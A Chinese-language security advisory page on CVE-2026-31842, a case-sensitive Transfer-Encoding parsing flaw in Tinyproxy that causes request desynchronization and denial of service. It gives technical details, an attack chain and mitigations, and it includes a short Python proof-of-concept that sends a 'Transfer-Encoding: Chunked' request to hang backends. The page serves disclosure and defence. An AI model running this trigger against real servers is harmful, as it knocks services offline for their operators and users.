IPBUF安全漏洞报告
English
CVE-2026-31842 CVSS 7.5 高危

CVE-2026-31842 Tinyproxy HTTP请求解析去同步漏洞

披露日期: 2026-04-07
来源: 309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c

漏洞信息

漏洞编号
CVE-2026-31842
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tinyproxy

相关标签

拒绝服务TinyproxyHTTP请求走私CVE-2026-31842逻辑漏洞

漏洞概述

Tinyproxy 1.11.3及之前版本存在HTTP请求解析去同步漏洞。漏洞源于src/reqs.c中is_chunked_transfer()函数使用strcmp对Transfer-Encoding头进行大小写敏感比较,违反了RFC 7230规范。未认证攻击者可发送包含特定大小写Transfer-Encoding头的请求,导致Tinyproxy误判请求体长度,跳过数据读取直接进入TCP转发模式。这会导致后端服务器连接挂起,引发拒绝服务攻击,或在特定部署下绕过请求体安全检查。

技术细节

该漏洞位于Tinyproxy的请求解析逻辑中。在处理HTTP头时,is_chunked_transfer()函数利用strcmp()检查Transfer-Encoding字段值是否为“chunked”。由于strcmp区分大小写,当攻击者发送“Transfer-Encoding: Chunked”(首字母大写)时,函数返回假值。Tinyproxy随后将content_length.client设为-1,跳过pull_client_data_chunked()函数,未读取缓冲区中的请求体数据,直接将头部转发至上游并切换至relay_connection()状态。对于符合RFC标准的后端(如Nginx、Node.js),收到头部后会持续等待分块传输的实体数据。由于Tinyproxy已停止读取客户端数据并仅进行原始TCP转发,连接将无限期挂起,导致后端工作线程耗尽,实现拒绝服务。此外,若Tinyproxy用于内容过滤,未检查的请求体可能被直接转发,导致安全机制失效。

攻击链分析

STEP 1
步骤1
攻击者构造特制的HTTP请求,其中包含大小写敏感的'Transfer-Encoding: Chunked'头部字段。
STEP 2
步骤2
将恶意请求发送至运行Tinyproxy的服务器。
STEP 3
步骤3
Tinyproxy的is_chunked_transfer函数因strcmp限制未能识别分块编码,误判请求体长度为-1。
STEP 4
步骤4
Tinyproxy跳过请求体读取,直接转发头部给后端,并进入原始TCP转发状态。
STEP 5
步骤5
符合RFC规范的后端服务器(如Nginx)接收头部后进入等待数据状态,导致连接挂起及工作线程耗尽,引发DoS。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket def send_malicious_request(host, port): """ PoC for CVE-2026-31842. Sends a request with 'Transfer-Encoding: Chunked' (capitalized) to trigger the parsing desynchronization. """ # Construct the HTTP request with a case-sensitive header # RFC 7230 says header values should be case-insensitive, # but Tinyproxy's strcmp() implementation requires lowercase 'chunked'. request = ( "GET / HTTP/1.1\r\n" f"Host: {host}\r\n" "Transfer-Encoding: Chunked\r\n" # 'Chunked' instead of 'chunked' "\r\n" "4\r\n" "TEST\r\n" "0\r\n" "\r\n" ) try: print(f"[*] Connecting to {host}:{port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) print("[*] Sending malicious payload...") s.send(request.encode()) # The server might hang waiting for the body, so the socket might not return immediately # or might return a 200 OK if it forwards it blindly to a vulnerable backend that hangs. # This PoC demonstrates the triggering packet. print("[+] Payload sent. Check if the connection hangs or backend exhausts workers.") s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the target Tinyproxy server IP and Port target_host = "127.0.0.1" target_port = 8888 send_malicious_request(target_host, target_port)

影响范围

Tinyproxy <= 1.11.3

防御指南

临时缓解措施
建议在Tinyproxy前端部署能够规范化HTTP头的反向代理(如Nginx),将所有头部名称和值统一转换为小写;同时配置后端服务器的连接和读取超时时间,及时释放因等待数据而挂起的连接资源,降低拒绝服务的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表